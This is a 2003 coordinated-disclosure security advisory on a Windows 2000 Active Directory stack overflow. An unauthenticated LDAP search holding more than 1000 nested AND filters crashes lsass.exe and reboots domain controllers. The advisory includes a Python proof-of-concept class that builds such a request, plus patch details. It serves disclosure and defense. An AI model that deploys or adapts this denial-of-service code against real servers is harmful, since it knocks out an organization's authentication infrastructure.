Core Security Technologies Advisory
                             http://www.coresecurity.com

                           Active Directory Stack Overflow


Date Published: 2003-07-02

Last Update: 2003-07-02

Advisory ID: CORE-2003-0305-03

Bugtraq ID: 7930

CVE Name: None currently assigned.

Title: Active Directory Stack Overflow

Class: Boundary Error Condition

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:
  http://www.coresecurity.com/common/showdoc.php?idx=351&idxseccion=10

Vendors contacted:
  - Microsoft
    . Core Notification: 2003-05-16
    . Notification acknowledged by Microsoft: 2003-05-19
    . Issue fixed in Windows 2000 Service Pack 4: 2003-06-26

Release Mode: COORDINATED RELEASE


*Vulnerability Description:*

  Active Directory, which is an essential component of the Windows 2000
  architecture, presents organizations with a directory service designed
  for distributed computing environments. Active Directory allows organizations
  to centrally manage and share information on network resources and users
  while acting as the central authority for network security.

  The directory services provided by Active Directory are based on the
  Lightweight Directory Access Protocol (LDAP) and thus Active Directory
  objects can be stored and retrieved using the LDAP protocol.

  A vulnerability in Active Directory allows an attacker to crash and force
  a reboot of any Windows 2000 Server running the Active Directory service.

  The vulnerability can be triggered when an LDAP version 3 search request
  with more than 1000 "AND" statements is sent to the server, resulting in a
  stack overflow and subsequent crash of the Lsaas.exe service.

  This in turn, will force a domain controller to stop responding, thus
  making possible a denial of service attack against it. The LDAP request
  does not need to be authenticated.

  The possibility of exploiting this vulnerability to execute arbitrary code
  on a vulnerable server has not been proved but is not discarded.


*Vulnerable Packages:*

  Windows 2000 Server with Active Directory (Service Pack 3).


*Solution/Vendor Information/Workaround:*

  This issue is fixed in Windows 2000 Service Pack 4, which can be
  donwloaded from:
  http://www.microsoft.com/Windows2000/downloads/servicepacks/sp4/

  Further information about the vulnerability can be obtained from
  http://support.microsoft.com/default.aspx?kbid=319709


*Credits:*

  This vulnerability was found by Eduardo Arias, Gabriel Becedillas, Ricardo
  Quesada and Damian Saura from Core Security Technologies during Bugweek 2003
  (March 3-7, 2003).


*Technical Description - Exploit/Concept Code:*

  A 'search request' created using LDAP version 3, constructed with more than
  1000 "AND"s, will provoke a stack overflow, making the Lsass.exe service crash
  and rebooting the machine within 30 seconds.

  To reproduce the stack overflow, you need to create a 'search request' to
  an Active Directory server. The 'search request' must search for a non existent
  machine within the Domain Controller that you've previously bind to.

  It must be composed with more than 1000 AND statements but it is supposed that
  OR, GE, LE and other binary operators will yield the same results.

  Example of a Python script that creates such a request:

------------------------------------
class ActiveDirectoryDOS( Ldap ):

     def __init__(self):
         self._s = None
         self.host = '192.168.0.1'
         self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
         self.port = 389
         self.buffer = ''
         self.msg_id = 1
         Ldap.__init__()

     def generateFilter_BinaryOp( self, filter ):
         filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
         filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
         return filterBuffer

     def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
         simpleBinOp = self.generateFilter_BinaryOp( filter )
         filterBuffer = simpleBinOp
         for cnt in range( 0, numTimes ):
             filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
         return filterBuffer


     def searchSub( self, filterBuffer ):

         self.bindRequest()
         self.searchRequest( filterBuffer )

     def run(self, host = '', basedn = '', name = '' ):

         # the machine must not exist
         machine_name = 'xaxax'

         filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)

         # execute the anonymous query
         print 'executing query'
         filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
         self.searchSub( filterBuffer )

------------------------------------


*About Core Security Technologies*

  Core Security Technologies develops strategic security solutions for
  Fortune 1000 corporations, government agencies and military
  organizations. The company offers information security software and
  services designed to assess risk and protect and manage information
  assets.
  Headquartered in Boston, MA, Core Security Technologies can be reached
  at 617-399-6980 or on the Web at http://www.coresecurity.com.

  To learn more about CORE IMPACT, the first comprehensive penetration
  testing framework, visit:
  http://www.coresecurity.com/products/coreimpact


*DISCLAIMER:*

  The contents of this advisory are copyright (c) 2003 CORE Security
  Technologies and may be distributed freely provided that no fee is
  charged for this distribution and proper credit is given.

$Id: ActiveDirectory-advisory.txt,v 1.9 2003/07/02 15:45:46 carlos Exp $